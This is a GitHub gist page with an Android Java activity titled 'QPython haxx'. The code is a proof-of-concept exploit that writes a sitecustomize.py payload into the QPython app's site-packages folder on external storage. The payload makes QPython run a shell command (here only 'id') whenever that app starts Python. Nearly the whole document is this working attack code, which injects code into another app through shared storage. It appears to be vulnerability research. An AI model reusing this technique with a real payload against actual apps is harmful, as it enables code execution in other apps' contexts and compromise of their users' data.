Skip to content

Instantly share code, notes, and snippets.

@giantpune giantpune/MainActivity.java Secret
Created Jul 31, 2015

Embed
What would you like to do?
QPython haxx
package no.code.on.the.sdcard.qpythonhaxx;
import android.content.Intent;
import android.os.Environment;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import java.io.File;
import java.io.FileOutputStream;
public class MainActivity extends ActionBarActivity {
static public String TAG = "1773HAXX";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
((Button)findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String sdcard = Environment.getExternalStorageDirectory().getAbsolutePath() ;
Log.d( TAG, "external storage: " + sdcard );
if (!new File( sdcard + "/com.hipipal.qpyplus/lib/python2.7/site-packages/site.py").exists()) {
Log.d(TAG, "com.hipipal.qpyplus isnt installed?");
return;
}
File file = new File( sdcard + "/com.hipipal.qpyplus/lib/python2.7/site-packages/sitecustomize.py");
String payload = "import os; os.system(\"/system/bin/logwrapper /system/bin/id\")";
try {
file.createNewFile();
FileOutputStream stream = new FileOutputStream(file);
stream.write(payload.getBytes());
stream.close();
Log.d(TAG, "payload is written");
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.